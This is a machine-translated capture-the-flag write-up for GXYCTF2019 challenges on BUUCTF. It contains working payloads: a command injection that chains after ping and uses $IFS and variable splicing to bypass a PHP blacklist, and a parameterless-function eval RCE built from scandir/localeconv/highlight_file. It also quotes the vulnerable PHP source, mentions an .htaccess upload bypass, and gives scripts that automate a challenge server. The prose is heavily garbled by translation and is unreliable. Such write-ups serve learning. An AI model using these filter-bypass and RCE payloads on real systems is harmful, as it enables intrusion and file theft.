reprodução GXYCTF2019

pingpingping

Abra a página:
Aqui Insert Picture Descrição
obviamente comando de execução. Incoming GET ip = 127.0.0.1 | ls
Aqui Insert Picture Descrição
tentar ler um gato, encontrou o espaço de filtração pode ser usado $IFS$9, $IFSao desvio, ( ${IFS}não, suspensórios são filtrados), leia o arquivo bandeira, também encontrado na bandeira do filtro , tente * para ignorar, também encontrado um filtro, leia sobre index.php, o código é a seguinte:

<?php
if(isset($_GET['ip'])){
  $ip = $_GET['ip'];
  if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo "";
  print_r($a);
}
?>

Por causa da bandeira ter sido filtrada, de modo a usar o splicing variável, e para alterar a ordem.
payload: ?ip=127.0.0.1;e=g;cat$IFSfla$e.php
O estranho é que eu não tinha nada em BUUCTF sucesso reprodução

proibir matryoshka

Abra o tópico e encontrou uma divulgação código fonte .git, uso githack baixado, encontrado fonte index.php, conforme segue:

<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
                die("还差一点哦!");
            }
        }
        else{
            die("再好好想想!");
        }
    }
    else{
        die("还想读flag,臭弟弟!");
    }
}
// highlight_file(__FILE__);
?>

Podemos ver filtragem muito rigorosos:

  1. A data://, filter://, phar://, php://quatro filtragem de protocolo, o arquivo pseudo-protocolo não pode ser lido.
  2. funções necessárias a (), mas não permite o uso de um ( 'abc')
  3. A maioria das funções são desactivadas
  4. eval($_GET['exp'])

Um típico CRE não-paramétrica.
Mas porque a maioria das funções da proibição, para que possamos arquivos somente leitura.
Queremos ler o arquivo em duas etapas: diretório de leitura e ler arquivos
para ler o diretório
primeiro é o mais básico scandir(), a função retorna uma matriz do diretório especificado de arquivos e diretórios.
Em seguida print_r(), esta função pode ser a saída para fora do conteúdo da matriz. (Matriz var_dump vai armazenar o tipo de dados, o comprimento, em conjunto saída conteúdo).
Uma vez que não pode ocorrer uma ( 'ABC'), não é possível directamente print_r (scandir () '' );, construído utilizando uma função necessária .para.
localeconv()Esta função retorna uma matriz de informações incluem números locais e formato de moeda, o primeiro item da matriz é ..
current()A função do elemento de corrente na matriz retornada (POS () é um alias).
Então, nós construção print_r(scandir(current(localeconv())));pode ser lido para o diretório.

(Em geral, usamos getcwd()para obter o diretório atual, dirname()salta para cima, chdir()modificar o diretório atual)
Aqui Insert Picture Descrição
para ler o arquivo de
uso read_file()e highlight_file(), show_source()como função e compreende um arquivo de alias para ler o arquivo
usando a seguinte função lê o documento seguinte ou anterior.
Aqui Insert Picture Descrição
Utilizando array_reverse()uma matriz de, inverso array_filpdo valor de chave para a matriz, o valor torna-se fundamental.
Gangster wp ver que há um método de leitura: session_id (session_start ())
usando o session_id () permite php para ler o cookie nos propusemos (sessão não utilizada por padrão para a adição de session_start () permite começar a usar sessão php)
efeito é mostrado :
Aqui Insert Picture Descrição
: carga ?exp=highlight_file(next(array_reverse(scandir(pos(localeconv())))));
artigo de referência:
https://www.cnblogs.com/wangtanzhi/p/12260986.html#autoid-0-1-0
https://skysec.top/2019/03/29/PHP-Parametric-Function -RCE / #% E4% BB% 80% E4% B9% 88% E6% 98% AF% E6% 97% A0% E5% 8F% 82% E6% 95% B0% E5% 87% BD% E6% 95 % B0RCE

babyupload

vulnerabilidade upload de arquivos.
É simplesmente .htaccess vulnerabilidade ficheiro de análise.

mente mais forte

Também é muito simples, é de apresentar uma operações de script, antes bugku feito um problema semelhante.
Script é a seguinte:

# -*- coding: UTF-8 -*-
#GXYCTF strongest mind脚本
import requests
import re

url = "http://db832b95-b18e-4dc3-bf31-3b812c2d35a5.node3.buuoj.cn/index.php"

try:
    s = requests.Session()
    source = s.get(url)
    r = re.search(r"(\d+)+[ ][\+\-][ ](\d+)", source.text).group()
    r = r.replace(" ", "")
    result = eval(r)
    print result
    data = {"answer": result}
    a = s.post(url, data=data)
    for i in range(0,1000):
        r = re.search(r"(\d+)+[ ][\+\-][ ](\d+)", a.text).group()
        r = r.replace(" ", "")
        result = eval(r)
        print result
        data = {"answer": result}
        a = s.post(url,data=data)
        if(i==999):
            print a.text
except:
    print "something wrong"

O roteiro oficial é a seguinte:

#GXYCTF strongest mind 官方exp
from requests import *
import re


s = session()
a = s.get("http://db832b95-b18e-4dc3-bf31-3b812c2d35a5.node3.buuoj.cn/index.php")
pattern = re.findall(r'\d+.[+-].\d+', a.text)
c = eval(pattern[0])
a = s.post("http://db832b95-b18e-4dc3-bf31-3b812c2d35a5.node3.buuoj.cn/index.php", data = {"answer" : c})
for i in range(1000):
	pattern = re.findall(r'\d+.[+-].\d+', a.text)
	c = eval(pattern[0])
	print(c)
	a = s.post("http://db832b95-b18e-4dc3-bf31-3b812c2d35a5.node3.buuoj.cn/index.php", data = {"answer" : c})
print(a.text)

BUUCTF ainda existem vários problemas de injeção SQL, depois de ter tempo para escrever

Publicado 37 artigos originais · ganhou elogios 2 · Vistas 1417

Acho que você gosta

Origin blog.csdn.net/weixin_44377940/article/details/104947284
Recomendado
Clasificación